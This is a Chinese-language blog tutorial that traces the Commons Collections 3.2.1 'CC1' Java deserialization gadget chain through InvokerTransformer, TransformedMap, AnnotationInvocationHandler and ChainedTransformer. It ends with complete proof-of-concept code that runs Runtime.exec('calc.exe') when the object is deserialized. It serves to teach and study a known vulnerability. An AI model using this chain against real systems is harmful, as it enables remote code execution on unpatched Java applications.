Java-CC1-Transformer链

CC链

Java反序列化

环境要求

  • CommonsCollections <= 3.2.1
  • java < 8u71(我使用的是)

java8u65

环境链接先不放,在配置环境的时候遇到一件很神奇的事:

下面是oracle的java8存档地址,真的很神,第一个链接是中文的,当你使用Ctrl + F去找java8u65(第8个版本的第六十五次更新)的时候,下载的是java8u111,我以为只有一个是不对的,多试了几个都不对。

1
2
3
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

因为只是使用java运行,不需要配置环境变量,只需要在idea中修改项目结构中的解释器目录。

此外,还需要配置一下源码

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

在左边侧栏下载压缩包,打开压缩包,找到以下目录

1
解压目录\src\share\classes\sun

复制sun包中的内容到java8u65的src目录中,默认是没有src目录的,解压该目录中的src.zip文件,在idea项目结构中sourcepath,导入src目录。

CommonsCollections

在idea创建maven项目,配置文件pom.xml中添加,junit是用于测试的

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>test</scope>
</dependency>
</dependencies>

环境配置完毕,应该没有了吧,。

ysoserial中给到的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

看不懂也不要慌,遇事不要慌。一步一步来。

InvokerTransformer.transform()

找到org.apache.commons.collections.transformer 接口

1
2
3
public interface Transformer {
public Object transform(Object input);
}

ctrl + alt + b或者ctrl + h
寻找向下的继承类

找到个org.apache.commons.collections.functors.InvokerTransformer的类

InvokerTransformer.java实现了transformer接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

try语句中使用反射,尝试调用了transform方法接受的对象的方法,因为是使用的getMethod方法,所以调用公共方法才不会报错。

调用的函数参数iMethodName,iParamTypes,iArgs,都可以在实例化InvokerTransformer类时传入。

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

我们可以尝试一下执行命令:

1
Runtime.getRuntime().exec("calc.exe")

将Runtime.getRuntime()对象传入,满足以下条件。

梳理

1
2
3
4
methodName == exec 函数名
Object input == Runtime.getRuntime() 执行函数的对象
paramTypes == String.class 函数参数的类型
args == "calc.exe" 函数实参

payload升级:

1
2
3
4
5
6
7
8
@Test
public void test1() throws IOException, ClassNotFoundException {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});

invokerTransformer.transform(Runtime.getRuntime());
}

弹出计算机为成功

TranformedMap.checkSetValue()

alt+F7查看用法

org.apache.commons.collections.map.TranformedMap

TranformedMap.java找到了三个方法调用了transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}

三个方法属性都是protected,对同一包内的类和所有子类可见。

三个方法中选择checkSetValue(),为社么不用其他两个呢,其他两个查找用法,没有找到合适的调用类。

找到对参数进行赋值的地方,是TransformedMap类的构造函数,构造函数属性为protected,对同一包内的类和所有子类可见。

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

寻找其他构造方法或者调用TransformedMap的方法。

在同一个类中找到方法

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

现在我们有了办法构造参数,但是无法调用TransformedMap.checkSetValue()方法,继续查找用法。

AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

继承关系如下

1
MapEntry <= AbstractMapEntryDecorator

MapEntry类的父类AbstractMapEntryDecorator是抽象类,抽象类不能被实例化,但是可以有构造方法。这里在MapEntry类中构造方法,super(entry)实际上是AbstractMapEntryDecorator的构造方法。

1
2
3
4
5
6
7
8
protected final Map.Entry entry;

public AbstractMapEntryDecorator(Map.Entry entry) {
if (entry == null) {
throw new IllegalArgumentException("Map Entry must not be null");
}
this.entry = entry;
}

梳理一下

1
2
3
4
5
6
7
8
MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
MapEntry.setValue(Object value)
TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
TranformedMap.checkSetValue(Object value)
invokerTransformer.transform(Object input);

valueTransformer == invokerTransformer
value == Runtime.getRuntime()

三个Object是连续的传递,至于MapEntry如何得到呢?Map 通过 entrySet() 方法可以获取 Map.Entry

升级:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    @Test
public void test2() throws IOException, ClassNotFoundException {
// MapEntry.setValue() ==> TransformedMap.checkSetValue() ==> InvokerTransformer.transform()

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");

// valueTransformer == invokerTransformer
Map<Object,Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);


for (Map.Entry<Object, Object> entry : decorated.entrySet()) {
// System.out.println(entry);
entry.setValue(Runtime.getRuntime());
}
}

弹出计算机为成功

AnnotationInvocationHandler

继续老办法,alt + F7查看用法。

sun.reflect.annotation.AnnotationInvocationHandler这个类刚好调用了setValue()方法,而且还刚好在readObject()方法中调用setValue()。在该类被反序列化的时候则会调用readObject()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

我们可以看到通过entrySet()来获得Map.Entry

在到达setValue()前需要绕过两层if判断。

type,memberValues是通过构造函数可传递的参数

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

Class<? extends Annotation> type是什么呢,chatgpt

1
2
3
4
5
6
Class<? extends Annotation> 可以表示任意注解的 Class 对象

Class<? extends Annotation> annotationClass = Override.class;
Class<? extends Annotation> annotationClass2 = Deprecated.class;

但它不能是 Class<Object> 或 Class<String>,因为它们不是 Annotation 的子类。

为了兼容性和稳定性,推荐使用一些java自带的注解。

if (memberType != null)

我们可以实验一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");

Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);

AnnotationType annotationType = AnnotationType.getInstance(Target.class);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
System.out.println(memberTypes);

//输出: {value=class [Ljava.lang.annotation.ElementType;}

绕过第一个if,需要在Map.Entry的key在对应memberTypes中有对应的值。

当Map.Entry的key为value时,值在memberTypes为class,!= null 为 true,加入下列代码验证一番。

1
2
3
4
5
6
7
8
9
10
11
        for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
System.out.println(123);
} else {
System.out.println("456");
}

// hashMap.put("key", "value") 输出456
// hashMap.put("value", "value") 输出123

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

脑袋已经晕了,层层剖析

1
2
3
4
5
6
7
8
9
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

// !(memberType.isInstance(value) || value instanceof ExceptionProxy) == True
// memberType.isInstance(value) || value instanceof ExceptionProxy == false
// memberType.isInstance(value) == false
// value instanceof ExceptionProxy == false

// value 不是 memberType 类型的实例,也不是 ExceptionProxy 类型的实例
1
hashMap.put("value", "value")

memberValue是Map.Entry的值,也就是第二个"value"

memberType为{value=class [Ljava.lang.annotation.ElementType;},而"value"是一个String,已不是一个 ExceptionProxy的实例。

实验一下:将之前那段for循环修改为现在的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
        for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
System.out.println(123);

Object value = memberValue.getValue();
// System.out.println(memberType);
// System.out.println(value);
// System.out.println(value.getClass());

if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
System.out.println("yes");
} else
System.out.println("no");
} else {
System.out.println("456");
}
}

// 123
// yes

也就是能够执行到 memberValue.setValue(),但是参数并不是我们能控制的。

有没有参数不重要,返回的值是一样的Transformer?

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

梳理一下

1
2
3
4
5
6
7
8
9
10
11
MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
MapEntry.setValue(Object value)
TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
TranformedMap.checkSetValue(Object value)
ConstantTransformer(Runtime.getRuntime())
ConstantTransformer.transform(Object input)


valueTransformer == ConstantTransformer
value == 不重要

调用transform方法的返回值是实例化时传入的参数constantToReturn,但是最后无法执行到危险函数了

ChainedTransformer

最后的主角,但是脑袋已经不够用了。

org.apache.commons.collections.functors.ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

从第0个开始,调用每一个iTransformerstransform()

参数则是上一次transform()处理后的 object

我们需要将 Runtime.getRuntime()作为 invokerTransformer.transform()的参数,这里又回到了最初了,常回家看看,回家看看。所以我们需要将 ConstantTransformer作为第一个

ChainedTransformer.transform()传入什么作为参数都不重要。我们可以看看循环过程:

1
2
3
4
5
6
7
第一次运行:
iTransformers[0].transform(object);
return Runtime.getRuntime();

第二次运行:
invokerTransformer.transform(Runtime.getRuntime());
是不是就可以执行了呢

似乎一切都说通了。

问题一

AnnotationInvocationHandler是default类型,在同一包内可见。需要用到反射来初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@Test
public void test2_1() throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer
("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});

// 生成MapEntry
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");

// chainedTransformer 代替了最初的 invokerTransformer
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

// 实例化AnnotationInvocationHandler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);

serializable(o);
unserializable("ser.bin");
}

问题二

意外蛊出现了

1
java.io.NotSerializableException: java.lang.Runtime

Runtime没有继承Serializable接口,所以不能直接被反序列化。

救星:Class可以被反序列化,再次使用反射。

1
public final class Class<T> implements java.io.Serializable

chainedTransformer构造

代码格式是错误的,只是一个解释,不必按照代码解释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Runtime.getRuntime().exec()

new ConstantTransformer(Runtime.class).transform()
return Runtime.class

//执行 "getMethod"获取到Runtime.class的"getRuntime()
invokerTransformer.transform(Runtime.class)
return Method Runtime.getRuntime()
返回的是Method类的对象

// 使用Invoke调用Runtime.getRuntime()
invokerTransformer.transform(Method Runtime.getRuntime())
return Method Runtime.getRuntime().invoke();
//执行Runtime.getRuntime().exec()。参数则通过后的返回结果,即:
currentRuntime;

//执行exec()
invokerTransformer.transform(currentRuntime);
执行currentRuntime.exec(),也就是Runtime.getRuntime().exec()。参数则通过实例化InvokerTransformer时传递。

需要注意的是实例化InvokerTransformer的时候,参数依次为

1
2
iMethodName        iParamTypes        iArgs
方法名 传入方法的参数的类型 传入方法的参数

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    @Test
public void test2_1() throws Exception {

// Class<Runtime> clazz = Runtime.class;
//
// Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
// Object o = getRuntimeMethod.invoke(null, null);
//
// Method execMethod = clazz.getMethod("exec", String.class);
// execMethod.invoke(o, "calc.exe");

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// Class<Runtime> clazz
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// 得到 Method getRuntimeMethod
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// 得到 Object o
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");

// valueTransformer == invokerTransformer
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
serializable(o);
unserializable("ser.bin");
}

注释是为了自己看的明白过程。


Java-CC1-Transformer链
https://rpniu.github.io/2025/03/13/Java-CC1-Transformer链/
作者
rPniu
发布于
2025年3月13日
许可协议